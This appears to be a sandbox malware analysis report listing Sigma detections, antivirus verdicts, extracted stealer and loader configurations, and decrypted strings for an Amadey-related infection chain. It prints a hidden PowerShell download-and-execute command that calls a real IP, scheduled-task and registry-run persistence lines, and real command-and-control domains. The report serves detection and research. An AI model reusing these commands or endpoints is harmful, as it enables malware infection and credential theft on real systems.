Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\system32\cmd.exe /c schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f, CommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe, ParentProcessId: 7232, ParentProcessName: 8e933e9d51.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f, ProcessId: 7248, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, ProcessId: 7596, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8e933e9d51.exe

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, CommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, CommandLine|base64offset|contains: m, Image: C:\Windows\SysWOW64\mshta.exe, NewProcessName: C:\Windows\SysWOW64\mshta.exe, OriginalFileName: C:\Windows\SysWOW64\mshta.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe, ParentProcessId: 7232, ParentProcessName: 8e933e9d51.exe, ProcessCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ProcessId: 7256, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, CommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, CommandLine|base64offset|contains: m, Image: C:\Windows\SysWOW64\mshta.exe, NewProcessName: C:\Windows\SysWOW64\mshta.exe, OriginalFileName: C:\Windows\SysWOW64\mshta.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe, ParentProcessId: 7232, ParentProcessName: 8e933e9d51.exe, ProcessCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ProcessId: 7256, ProcessName: mshta.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe, ProcessId: 7596, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8e933e9d51.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2520, TargetFilename: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f, CommandLine: schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7248, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f, ProcessId: 7392, ProcessName: schtasks.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, ProcessId: 2520, ProcessName: powershell.exe

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", CommandLine: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5232, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})", ProcessId: 1812, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Powershell download and execute file

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, CommandLine|base64offset|contains: hv)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta, ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7256, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'YEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;, ProcessId: 2520, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: M6gQuZPvgY.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://gunrightsp.run:443/bksaHygicrosoft	Avira URL Cloud: Label: malware
Source: http://185.215.113.209/Di0Her478/index.php101	Avira URL Cloud: Label: malware
Source: https://gunrightsp.run/bksaHygu	Avira URL Cloud: Label: malware
Source: https://gunrightsp.run/bksaHyg0	Avira URL Cloud: Label: malware
Source: http://185.215.113.209/Di0Her478/index.php	Avira URL Cloud: Label: malware
Source: https://gunrightsp.run/bksaHyg	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\crypted.41[1].exe	Avira: detection malicious, Label: TR/Kryptik.jihlg
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mrwipre12[1].exe	Avira: detection malicious, Label: TR/Crypt.Agent.fdbkv
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\amnew[1].exe	Avira: detection malicious, Label: TR/Redcap.zvzjx
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\m0wsoI3[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\cronikxqqq[1].exe	Avira: detection malicious, Label: TR/Kryptik.zivzb
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\UD49QH6[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/AD.PSLoader.wdbmn
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\dw[1].exe	Avira: detection malicious, Label: TR/Agent.rdnbz
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["codxefusion.top", "hardswarehub.today", "gadgethgfub.icu", "hardrwarehaven.run", "techmindzs.live", "quietswtreams.life", "techspherxe.top"], "Build id": "CRON--@CRONLOGS"}
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "176.113.115.6/Ni9kiput/index.php", "Version": "5.21", "Install Folder": "bb556cff4a", "Install File": "rapes.exe"}
Source: 17.2.m0wsoI3.exe.400000.0.unpack	Malware Configuration Extractor: Mars Stealer {"C2 url": "ctrlgem.xyz/gate.php"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\UD49QH6[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\cronikxqqq[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\crypted.41[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\crypted.7[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\m0wsoI3[1].exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\trano1221[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\dw[1].exe	ReversingLabs: Detection: 25%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mrwipre12[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\amnew[1].exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\v7942[1].exe	ReversingLabs: Detection: 16%
Source: C:\Users\user\AppData\Local\TempLFGBUS0KLVO2BZEOKEK9O00ZZUDBS8RY.EXE	ReversingLabs: Detection: 61%
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	ReversingLabs: Detection: 61%
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Temp\10019520101\dw.exe	ReversingLabs: Detection: 25%
Source: C:\Users\user\AppData\Local\Temp\10026630101\v7942.exe	ReversingLabs: Detection: 16%
Source: C:\Users\user\AppData\Local\Temp\10028100101\crypted.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\10028410101\crypted.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\10029600101\mrwipre12.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Temp\10235940101\0629403be8.exe	ReversingLabs: Detection: 56%
Source: C:\Users\user\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe	ReversingLabs: Detection: 61%
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: M6gQuZPvgY.exe	Virustotal: Detection: 60%			Perma Link
Source: M6gQuZPvgY.exe	ReversingLabs: Detection: 61%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	String decryptor: codxefusion.top
Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	String decryptor: hardswarehub.today
Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	String decryptor: gadgethgfub.icu
Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	String decryptor: hardrwarehaven.run
Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	String decryptor: techmindzs.live
Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	String decryptor: quietswtreams.life
Source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp	String decryptor: techspherxe.top
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 176.113.115.6
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: /Ni9kiput/index.php
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: S-%lu-
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: bb556cff4a
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rapes.exe
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Startup
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cmd /C RMDIR /s/q
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rundll32
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Programs
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: %USERPROFILE%
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cred.dll\|clip.dll\|
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cred.dll
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: clip.dll
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: http://
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: https://
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: /quiet
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: /Plugins/
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: &unit=
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shell32.dll
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: kernel32.dll
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: GetNativeSystemInfo
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ProgramData\
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: AVAST Software
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Kaspersky Lab
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Panda Security
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Doctor Web
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 360TotalSecurity
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Bitdefender
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Norton
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Sophos
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Comodo
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: WinDefender
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 0123456789
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ------
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ?scr=1
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Content-Type: application/x-www-form-urlencoded
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: ComputerName
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: abcdefghijklmnopqrstuvwxyz0123456789-_
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: -unicode-
Source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp	String decryptor: SYSTEM\CurrentControlSet\Control\UnitedVideo\CONTROL\VIDEO\
